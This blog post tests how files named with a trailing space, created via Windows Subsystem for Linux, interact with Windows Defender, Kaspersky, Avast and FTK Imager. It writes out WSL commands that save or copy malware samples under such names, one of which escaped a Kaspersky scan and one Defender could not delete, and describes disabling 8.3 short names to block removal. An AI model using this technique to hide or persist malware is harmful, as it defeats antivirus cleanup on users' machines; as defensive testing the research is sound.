Unremovable malware with WSL

Windows Subsystem for Linux (or, as I’m incorrectly calling it, Linux Subsystem for Windows) is a tool in Windows 10 that provides a Linux kernel on top of the Windows kernel. WSL can translate Linux system calls to Windows language. This way one can execute Linux-related apps/commands in Windows without re-compilation. It can be powerful in the hand of a good administrator but it also has some drawbacks as it was mentioned in this reddit post: https://www.reddit.com/r/hacking/comments/dp4w2b/making_an_unaccessable_file_in_windows_which/.

This post mentioned that one can create a file that ends with " " (a space) by using WSL. However this is not normally accepted, a file created with a name like this can’t be used properly in Windows. If you are interested please check the mentioned reddit post. In this description, I’m going to show you some interesting security-related implications of this phenomenon.

I’m going to check how this works on a Windows machine but the main focus is going to be on various security-related products. How Windows Threat Protection, Kaspersky, Avast and FTK Imager are handling these files. This post is not going to be a thorough one. I started to investigate this activity some hours ago (~10) when I read the post on reddit and I decided it was worth making a quick and simple article about it.

Non-malicious activity

Normally, you can’t create a file in Windows with a name that ends with " “. If you try it, Windows simply removes the ending space from the filename and creates a file without it. Based on the following code, file with the name “test_file “ wasn’t found but the file with the name “test_file” was removed successfully even though I wanted to create the filename “test_file “ (the difference are the spaces at the end).

PS C:\Users\toke\Documents> New-Item "test_file "
PS C:\Users\toke\Documents> del "test_file "
del : An object at the specified path C:\Users\toke\Documents\test_file  does not exist.
At line:1 char:1
+ del "test_file "
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Remove-Item], PSArgumentException
    + FullyQualifiedErrorId : Argument,Microsoft.PowerShell.Commands.RemoveItemCommand

PS C:\Users\toke\Documents> del "test_file"

However, you can create a file with WSL the following way on Windows:

wsl touch "file_with_ending_space "

One can see on the commands that PowerShell raised an error that a file with the name didn’t exist. On the other hand, we can see the file as the output of the last command, so it is there (with a space at the end of it).

PS C:\Users\toke\Documents> wsl touch "wsl_test "

PS C:\Users\toke\Documents> del "wsl_test "
del : Cannot find path 'C:\Users\toke\Documents\wsl_test ' because it does not exist.

PS C:\Users\toke\Documents> del "wsl_test"
del : Cannot find path 'C:\Users\toke\Documents\wsl_test' because it does not exist.

PS C:\Users\toke\Documents> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/18/2019   9:25 AM                WindowsPowerShell
-a----       10/30/2019  11:06 PM              0 wsl_test

Another problem with these files that you can’t easily edit or open them. Since Windows can’t handle them properly, a lot of softwares won’t be able to show/read their content. Opening them in Windows notepad or even in Sublime Text can’t be done. This is the error it shows when you try to open it:

You can try to “cat” its content. This worked for me in case of text files but failed to show the biggest part of the file in case of some other filetypes. It has written the first part of the file content into the Standard input then exited with the following error code:

cat: write error: Input/output error

Modification can be done by using nano from WLS. It looks like commands from WLS can handle these filenames so I’m not sure why “cat” fails in various cases.

Output generated by cat command (Some characters are not visible due to code highlighting):

PS C:\Users\toke\Documents\Malz2> wsl cat "testfile " 
MZ     @  
 !
L!This program cannot be run in DOS mode.

cat: write error: Input/output error

There is a trick though that we can use to read/modify/remove a similar file on/from Windows. The root of the problem is that a filename that ends with space is not Windows compliant. Because of this, Windows doesn’t know how to handle it. If you try to touch it in any way (remove, edit, read) directly on Windows you will see an error that tells you the file is non-existent, can’t be found. But a file on Windows has multiple names. The following command can be used in the command line to show you the short name of the file:

dir /x
C:\Users\toke\Documents>dir /x

10/30/2019  11:06 PM    <DIR>                       .
10/30/2019  11:06 PM    <DIR>                       ..
05/18/2019  09:25 AM    <DIR>          WINDOW~1     WindowsPowerShell
10/30/2019  11:06 PM                 0 WSL_TE~1     wsl_test
               1 File(s)              0 bytes
               3 Dir(s)   9,319,428,096 bytes free

The short name of wsl_test is WSL_TE~1 in this case. Using the short filename you will be able to work with the given file (not every tool/command can use this name though):

del WSL_TE~1
notepad.exe WSL_TE~1

There is a registry key called NtfsDisable8dot3NameCreation under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem (the default value on my Win 10 machine was 2). By setting this key one can turn off the creation of short filenames. This affects only the files which were created after the registry modification. Someone could set this key, create a filename with space at the end then change the key back making the removal practically impossible with normal tools.

Properties

Some other interesting implications are related to Windows properties. There are two behaviors I observed during my test that I thought are worth mentioning.

The first is that the “Properties” tab is not filled properly with information for a file that ends in space. On the pictures below one can see the differences between a file thats name ends in a space (file_with_space ) and a file without space (file_no_space).

PS C:\Users\toke\Documents> wsl touch "file_with_space "
PS C:\Users\toke\Documents> wsl touch "file_no_space"

The first one misses some timestamps in the Property. However, timestamps can be seen on the GUI. I did not investigate the timestamps further this time.

The Security tab can’t show any information while the other file generated the same way but without the ending space has this setting.

And the owner is missing from the Details tab.

The other interesting behavior and the only thing I checked for timestamps are their behavior in case two files are named the same way. As we could already see the timestamps for a file with a name that ends in space are not filled in the Property window. However, if I create a file with the same name but without the space, the original file going to inherit this information. After creating the second file, every information in the Property window of the first file will be filled with the information from the second file, even the timestamps.

During the test, I created a file. This one ends in a space:

Then I created a file with the same name but without the ending space:

The picture above shows that the two files on the GUI have different timestamps. However, opening the Properties information again we can see that the two files have the same timestamp information here. (while it is hard to prove with a picture they are actually different files)

Also when I changed the content of the compliantly named file, the modification timestamp in the Property window was changed for the other file as well. This indicates that the timestamps and other information are not changed but the Property window shows the information of the other file. So the Property window shows the normally named file’s information even for the incompliantly named file if their name is the same (except one of them has an ending space while the other does not).

I think the forensic implications of these behaviors are not that big. The timestamps and other information look correct - some of the tools simply display them incorrectly. However, the tools I tested recently seem to be able to handle this file-naming issue properly. On he other hand, this wasn’t a targeted test so further research needs to be done for specific tools if you are using them.

Download

Windows Defender Threat Protection

I started everything from scratch. Windows Threat Protection was turned on and I tried to download a malicious file. I downloaded the file via PowerShell by using the wget command. I told wget to put a space at the end of the name of the malware. However, by default, PowerShell removed that space and named the file the compliant way. After this Threat Protection automatically checked the file and since it was malicious it has been removed. Nothing odd so far.

wget http://www.malwaresite/downloads/malware-samples/0.exe.zip -O "ps_test " 

So a malware can’t be downloaded this way because TP is going to remove it immediately.

After this I decided to use wget from wsl and try to download a file this way:

PS C:\Users\toke\Documents\test> wsl wget http://www.malwaresite/downloads/malware-samples/0.exe.zip -O "wsl_test "
Saving to: ‘wsl_test ’
wsl_test                      100%[=================================================>]  32.28K  --.-KB/s    in 0.03s
2019-10-30 11:04:32 (1.22 MB/s) - ‘wsl_test ’ saved [33050/33050]

Interestingly enough TP still detected the malware in the file.

1. The malware was detected by TP during (after) its download.
2. A targeted scan on the malware’s directory also revealed the infected file.

On the other hand, TP could not remove the infected file. While the maliciousness was successfully found, TP couldn’t do anything about it, because it could not handle the odd filename. Meaning, a malware won’t be able to hide from TP but it can permanently stay on the machine. The problem is, it isn’t only TP (and some other tools) that’s not able to remove it. It is also especially hard to remove by the user. A non-experienced user won’t be able to do anything with it.

This is what Virus & Threat Protection shows after executing the manual scan:

And this can be seen after removal. The file that ends with a space couldn’t be removed by Virus Protection.

Kaspersky

After TP, I tested two products of Kaspersky. I tested Kaspersky’s Virus Removal Tool and Internet Security. The first one is a targeted scanner while the latter can be used to continuously monitor the system and check the newly created and executed files. They provided similar results so I’m not going to differentiate between them. Obviously, only Internet Security checked the files automatically, but this is trivial.

When I downloaded a bunch of malicious files, Kaspersky immediately removed them from the system.

After that, I downloaded a malicious file and saved it under a name with a space at the end of it. Kaspersky allowed the download of the file. So unlike TP, Kaspersky could not identify a malicious file with a space at the end of its name.

During the last test which is basically the same as the previous one, I collected multiple malicious files. I saved the files and their copies in the same directory. The copies’ name had space at the end of it. Kaspersky successfully removed every original version but it didn’t even check the copies. Based on the scanned files counter in the AV tool, the copies haven’t been checked at all.

That means Kaspersky can’t even check the related files. The first malware wasn’t even recognized by Kaspersky but I’m not here to check this. As the picture shows Kaspersky only checks 1 file in the directory while in reality there were two: one with a space at its end and one without it.

The following code shows how I created the test files for the next scan:

PS C:\Users\toke\Documents\wget\Malz3> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/31/2019   8:28 AM         186548 malw1.exe
-a----       10/31/2019   8:28 AM          57344 malw2.exe


PS C:\Users\toke\Documents\wget\Malz3> wsl cp malw1.exe "malw1 "
PS C:\Users\toke\Documents\wget\Malz3> wsl cp malw2.exe "malw2 "

PS C:\Users\toke\Documents\wget\Malz3> wsl md5sum *
64d8b413b2f5f3842e6126b398f62ab5  malw1
64d8b413b2f5f3842e6126b398f62ab5  malw1.exe
1ea2c756a0f0528d2e80ab204aa9de0b  malw2
1ea2c756a0f0528d2e80ab204aa9de0b  malw2.exe

And here are the scan results. It is obvious that the two files ending with space (malw1/malw2) weren’t checked. (Interestingly enough, Kaspersky hasn’t even detected/removed malware without extension. A file named malware.exe has been detected, the same file without the “.exe” part remained under the radar, so this behavior is possibly not related to the space at the end.)

On the other hand, when I tried to execute the files, Kaspersky Internet Security could detect their maliciousness, threw a Permission Denied error and removed them. While the exe files were identified as “Trojan”, these were marked with the “HEUR” string during execution.

Avast/AVG/McAfee

The same files were immediately recognized by Avast/AVG/McAfee.

These tools could detect the malicious files and their execution as well, and could also remove the threats.

Here are the before and after scan files on a picture *(last ls command shows that everything have been removed):

These tools are not going to be tested further. Since the malwares were removed immediately or during their execution, there is no reason to check what is happening when they are blocked, quarantined, etc.

Using the file

As we saw Windows Defender identified the malwares but could not remove them. However, due to this identification, it also blocked specific accesses/functions. For example, when I tried to copy the file (via WSL) or open it in nano, I got an “Invalid argument” error. The same thing didn’t happen when I turned off Threat Protection in Windows.

Execution and other accesses were also blocked by Windows TP. So while Windows couldn’t remove the threat, it did prevent me from using it. Maybe there is a way to still access it somehow but I couldn’t find it during my short tests.

Test results

So this is my experience with anti-virus tools. Actually, the situation is much better than I originally thought so. Practically every AV tool detected the malware. The only malware removal tool which couldn’t initially detect the infected file was Kaspersky (neither Virus Scanner nor Internet Security). However, Internet Security could identify the infection during execution. Every other tool detected the infected file and the suspicious execution as well.

• *detected only during execution, the malicious file wasn’t recognized

FTK Imager

This section is going to be short. During my tests with FTK Imager everything worked just fine. FTK could successfully create an image of the drive with the file on it (as I expected). When I exported the file, FTK simply changed the ending space to an underscore.

Overall implications

I feel like the effect of this phenomenon is not really significant in most of the cases. However, these were only the results of the tool I tested. If you are using any other security system, or literally any tool that uses file, it is something worth checking just to be sure. So, for now, the security implication I found are the followings:

1. Using Windows built-in security feature you won’t be able to remove malwares if their name ends with a space. The malware won’t be able to run however it still going to remain on the system. Until somebody finds a way to execute them. Also, it can generate an infection alert over and over again in a company network without the option to remove it. (malicious so TP won’t allow you to remove it, but TP itself can’t remove it)
2. There is a chance that some security tools are not checking these files properly. As we saw Kaspersky Virus Scanner overlooked this file (and every other file I tested without an extension). Check your own tool to be sure.
3. I haven’t tested any official backup tool. However my own script - I’m using to save the files I’m using for tests to an external drive - failed to backup these ones. Again, test your own tools.
4. It can be unfortunate in a Security Operation Center if the analysts detect a malware on the system based on its behavior while an Microsoft Threat Protection on the same system can’t identify it. In this case, it can be problematic to remove the given file and a full machine restore can be the only solution (or you are going to need to explain to a user/helpdesk how it has to be done).

Test System

Every tool I used was a free version, they were downloaded from the official website of their vendor and they were updated to the newest available version.

OS: MS Windows 10 Pro
Version: 1903
Build: 18362.418
Virus and Threat Protection updated: 10/31/2019